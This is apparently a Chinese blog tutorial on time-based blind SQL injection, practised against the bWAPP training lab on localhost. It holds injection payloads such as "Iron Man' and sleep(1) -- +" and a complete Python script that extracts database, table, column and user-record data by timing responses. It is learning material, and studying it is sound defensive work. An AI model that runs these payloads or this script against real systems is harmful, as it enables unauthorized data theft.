渗透测试——sql注入进阶/基于时间的盲注/一看就会/

目录

一、注入点判断

注入类型

SQL注入的类型

二、基于时间的时间盲注

什么是时间盲注

sleep()函数

常用函数

三、bWAPP基于时间的盲注实战

---

一、注入点判断

1、输入一个单引号'，因为语句中多了一个'，在没有括号的情况下，系统会认为后续内容为字符串，从而报错，如果看到错误提示信息，则说明存在sql注入漏洞（单引号个数不匹配）

2、括号的情况，sql里面如果存在('1')这种情况，注释在括号中是不生效的，即('1-- +')不会将')注释掉，且输入双引号不会报错，同理("1")这种情况下输入单引号不会报错

注入类型

数字型：select * from xxx where id=1

这个时候我们注入就不用再添加单引号啦

判断方法：先输入一个' 看到错误信息，再注释掉后续内容 即 ‘ -- + 发现还是报错，提示信息中看不到括号等信息，可以猜测是数字型注入

字符型：select * from xxx where id='1'

这个时候构造中最好都带上单引号即，select * from xxx where id='1' or '1'='1' 

判断方法：与数字型相反，注释掉后续内容后不报错，可以猜测是字符型

SQL注入的类型

boolean-Base布尔型盲注

Union联合查询注入

Time-Based基于时间延迟注入

Error-Based报错型注入

二、基于时间的时间盲注

盲注的时候非常看响应速度，即延迟，phpstudy本身会有2s左右的延时，将靶场连接数据库的参数localhost 改成127.0.0.1 让速度快起来！

什么是时间盲注

盲注：顾名思义摸黑注入，其实就是没有回显了，甚至连注入语句是否执行都不清楚

时间盲注：通过注入特定的语句，根据对页面请求的物理反馈，来判断是否注入成功。在sql中使用sleep()函数看加载网页的时间来判断注入点

sleep()函数

sleep(n)会延时显示结果，且延时的时间为 n×查询到的记录数

例： select * from xx where a='aa' and sleep(3) (每一条记录都会延时3秒）

注：and前为真的时候才会延时，延时时间除以3，算出满足前面条件的记录条数

常用函数

睡眠函数

sleep(n)——返回0、中断返回1

截取字符串

substr('str',1,1)从第一个开始取取一个——substr（字符串，开始位置，取几个）

不写第三个参数，默认取到最后一个字符

select substr(database(),1,1)='q' and sleep(3) ——猜解数据库名过程

猜解数据库名的过程中，我们需要知道数据库名的长度

第三个函数获取长度

length（）——返回长度

select length(database())

获取ascii码

select ascii('str') ——返回第一个字符的ascii码

为啥要用ASCII码呢，select substr(database(),1,1)='q' and sleep(3)这种直接写='a'的形式不是也可以吗，但是在时间盲注猜解时，如果一个一个试非常的麻烦而且工作量巨大，这个时候就应该写一个脚本，自动的来猜测，脚本如果直接用字母符号计算的时候会比较慢，所以使用ASCII码会提高效率

select ascii(substr(database(),1,1)) > 50 and sleep(2)——猜解第一位

很多函数都有变种，用法与效果类似，名字不同，在某些时候，一些函数被禁止调用，可以寻找其变种来使用，如：substr与mid，left()从左往右截，ascii与ord 

三、bWAPP基于时间的盲注实战

这次还是选用bWAPP靶场，选择time

可以看到下面提示，返回值将使用邮箱发回，简而言之就是说！没有回显啦小老弟

接下来试试sleep函数能不能用

F12，然后输入一个1 search一下

可以看到延时才5毫秒

接下来尝试输入

1' or sleep(1) -- +

因为提示我们输入电影名了，所以大概率是字符型的，为啥用or呢因为用and时要保证前面的是正确的才可以执行sleep，测试一下

这里得等一会才出来，其实等待的时候就已经说明这个sleep起效了

接下来我们需要通过sleep是否起效来判断一些内容，所以必须保证它前面这个是正确的，所以接下来试一下怎么让 xxx' and sleep(1) 起效

i' or 1=1  and sleep(1) -- + 试试前面学过的万能密码

ok这时候sleep也起效了

但是因为用了万能密码，我们还是要确认一下如果再加判断（我们需要确定的）是否会被万能密码影响，

i' or 1=1  and 1=2 and sleep(1) -- +

ok这时没sleep

再试一下

i' or 1=1 and 1=1 and sleep(1) -- +

可喜可贺sleep了

综上说明可以用万能密码配合sleep

接下来就是尝试获取数据库名了

两种方法：手试和写脚本

手试（就试一个字母吧，毕竟写脚本还是简单的）

要获取数据库名先要获取数据库名称长度

i' or 1=1 and length(database())=? and sleep(1) -- +

这句话内部的select会计算数据库名长度，外面呢就是尝试，?处填入不同的数字，如果sleep了

说明试对了，为了效率可以把等于号换成大于号或小于号

i' or 1=1 and length(database())>4 and sleep(1) -- +

sleep了说明数据库名长度大于4

 i' or 1=1 and length(database())>5 and sleep(1) -- +

不大于5，那就是5

i' or 1=1 and length(database())=5 and sleep(1) -- +

这里说个or 1=1 的弊端，刚才说了sleep时间是根据记录条数来算的，or1=1其实是把所有记录都拿出来了，这里也可以看到延时几乎都到10s了，如果数据量再大点加上尝试很多次，这个延时就非常烦人了，最好还是拿一个准确的值出来

从上一章渗透拿到的数据来看有一个电影叫 Iron Man,可以用它来代替or 1=1

这个时候输入sleep(2)才延时2s，刚刚好，or 1= 1 确实挺浪费时间的

接下来就是拿数据库名了，为啥说要知道长度呢，因为数据库名是需要一个字符一个字符去试的，比如说现在拿到数据库名长度为5，那我们就需要尝试5组，每组出一个字符，是不是很麻烦，手动就演示一个字符吧

先构造语句

 Iron Man' and substr(database(),1,1)='a' and sleep(1) -- +

 Iron Man' and substr(database(),1,1)='b' and sleep(1) -- +

最后试出来第一个字符是b

ok，纯手试就到这里，下面开始快乐的敲代码！

先引入requests 和time包

接下来构造求数据库名长度的函数，连接url，查看返回值

发现有个name=login，这是为啥呢，因为和postman一样需要cookie来绕过登陆 

界面不一样了，查找一下e-mail 

 ok说明已经进入到这个页面了

开始构造sql语句

import requests
import  time
HEAD={
    "Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}
B_URL="http://localhost:8090/bwapp/bWAPP/sqli_15.php?"
def get_database_length():
    for i in range(100):
        url=B_URL+f"title=Iron Man' and length(database())={i} and sleep(1) -- + &action=search"
        start_time=time.time()
        requests.get(url,headers=HEAD)
        if time.time()-start_time>1:
            print(f"数据库名长度为{i}")
            return i

if __name__=='__main__':
    get_database_length()

这里用开始时间减去响应完成的时间，算出整个过程的时间，如果大于1，说明sleep运行了，最后输出一下数据库名长度

接下来定义第二个函数，求解数据库名称

def get_database_name(lens):
    name=""
    for i in range(lens):
        for j in range(30,130):
            url=B_URL+f"title=Iron Man' and ascii(substr(database(),{i+1},1))={j} and sleep(1) -- + &action=search"
            start_time=time.time()
            requests.get(url,headers=HEAD)
            if time.time()-start_time>1:
                name+=chr(j)
    print(name)
    return name
if __name__=='__main__':
    get_database_name(get_database_length())

 看！数据库名就出来啦，这里i是用来控制求五组，j是用来求每个字符的，字符的ascii码区间在

33到127之间好像，30到130肯定全乎

这里要注意substr是从1开始的limit是从0开始的，range是从0开始的

后面再chr()把ascii转换成字符串

接下来定义第三个函数，求解该数据库中有几张表

def get_table_count():
    for i in range(100):
        url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"
        start_time = time.time()
        requests.get(url, headers=HEAD)
        if time.time() - start_time > 1:
            print(f"该数据库一共有{i}张表")
            return i
if __name__=='__main__':
    get_table_count()

这块和上面类似不过多赘述

接下来第四个函数，求解每个表名长度

def get_table_leng(count):
    a=[]
    for i in range(count):
        for j in range(100):
            url = B_URL + f"title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {i},1 )={j}  and sleep(1) -- + &action=search"
            start_time = time.time()
            requests.get(url, headers=HEAD)
            if time.time() - start_time > 1:
                print(f"第{i+1}张表的表名长度为{j}")
                a.append(j)

if __name__=='__main__':
    get_table_leng(5)

这里用了limit 记得是从0开始的

接下来第五个函数，求解表名（这里写一个求解所有表名的，也可以写求解一个的）

def get_table_name(lens):
    a=[]
    for i in range(len(lens)):
        temp=""
        for j in range(lens[i]):
            for k in range(30,130):
                url = B_URL + f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j+1},1))={k}  and sleep(1) -- + &action=search"
                start_time = time.time()
                requests.get(url, headers=HEAD)
                if time.time() - start_time > 1:
                   temp+=chr(k)
        print(f"第{i+1}张表名为{temp}")
        a.append(temp)
    return a
if __name__=='__main__':
    get_table_name(get_table_leng(5))

 别看sql语句挺长的，但是很容易看懂的看不懂的去看前面或者前几篇文章

表名就出来啦，接下来就是求字段数量、字段长度、字段名、记录数，记录长度，最后把记录提取出来，跟前面大同小异啦 

完整代码

import  requests
import  time
#http://localhost:8090/bwapp/bWAPP/sqli_15.php?title=&action=search
HEADER={
    "Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}

BASE_URL='http://localhost:8090/bwapp/bWAPP/sqli_15.php?'
def get_database_length():
    #Iron Man' and length(database())=1 and sleep(2)
    for i in range(100):
        url=BASE_URL+f"title=Iron Man' and length(database())={i} and sleep(2) --+ &action=search"
        start_time=time.time()
        requests.get(url,headers=HEADER)
        if time.time() -start_time>1:
            print(f"长度为{i}")
            return i
def get_database_name(len):
    name=""
    for j in range(1,len+1):
        for i in range(33,127):
            url = BASE_URL + f"title=Iron Man' and ascii(substr(database(),{j},1))={i} and sleep(3) --+ &action=search"
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 1:
               name+=chr(i)
    print("数据库名字是"+name)
    return name
def get_table_name_count():
    for i in range(100):
        url=BASE_URL+f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(3) --+ &action=search"
        start_time=time.time()
        requests.get(url,headers=HEADER)
        if time.time()-start_time>1:
            print(i)
            return i

def get_table_name_length(table_count):
    a=[]
    for j in range(table_count):
        for i in range(100):
            url=BASE_URL+f"title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {j},1)={i} and sleep(3) --+ &action=search  "
            start_time=time.time()
            requests.get(url,headers=HEADER)
            if time.time()-start_time>1:
                a.append(i)
                print(f"第{j}张表长度为{i}")
    return a
def get_table_name(lens):
    str=[]
    for j in range(len(lens)):
        temp = ""
        for i in range(lens[j]):
            for k in range(33,127):
                url=BASE_URL+f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {j},1),{i+1},1))={k} and sleep(3)--+ &action=search"
                start_time=time.time()
                requests.get(url,headers=HEADER)
                if time.time()-start_time>1:
                    temp+=chr(k)
        print(temp)
        str.append(temp)
    print(str)
def get_columns_count(name):
    for i in range(100):
        url = BASE_URL + f"title=Iron Man' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{name}')={i} and sleep(3) --+ &action=search"
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 1:
            print(i)
            return i
def get_column_name_length(table_count,name):
    a=[]
    for j in range(table_count):
        for i in range(100):
            url=BASE_URL+f"title=Iron Man' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='{name}' limit {j},1)={i} and sleep(3) --+ &action=search  "
            start_time=time.time()
            requests.get(url,headers=HEADER)
            if time.time()-start_time>1:
                a.append(i)
                print(f"第{j}张表长度为{i}")
    return a
def get_column_name(lens,name):
    str=[]
    for j in range(len(lens)):
        temp = ""
        for i in range(lens[j]):
            for k in range(33,127):
                url=BASE_URL+f"title=Iron Man' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{name}' limit {j},1),{i+1},1))={k} and sleep(3)--+ &action=search"
                start_time=time.time()
                requests.get(url,headers=HEADER)
                if time.time()-start_time>1:
                    temp+=chr(k)
        print(temp)
        str.append(temp)
    print(str)
def get_zd_count(name):
    for i in range(100):
        url = BASE_URL + f"title=Iron Man' and (select count(*) from {name})={i} and sleep(3) --+ &action=search"
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 1:
            print(i)
            return i
def get_value(name,column,count):
    str_l=[]
    for i in range(count):
        str=""
        for j in range(100):
            url=BASE_URL+f"title=Iron Man' and (select length({column}) from {name} limit {i},1)={j} and sleep(3) --+ &action=search"
            start_time=time.time()
            requests.get(url,headers=HEADER)
            if time.time()-start_time>1:
                print(j)
                for k in range(j):
                    for p in range(30,130):
                        url = BASE_URL + f"title=Iron Man' and ascii(substr((select {column} from {name} limit {i},1),{k+1},1))={p} and sleep(3) --+ &action=search"
                        start_time = time.time()
                        requests.get(url, headers=HEADER)
                        if time.time()-start_time>1:
                            print(chr(p))
                            str+=chr(p)
        str_l.append(str)
if __name__=='__main__':
    get_value('users','login',2)

 嘎嘎嘎，就到这吧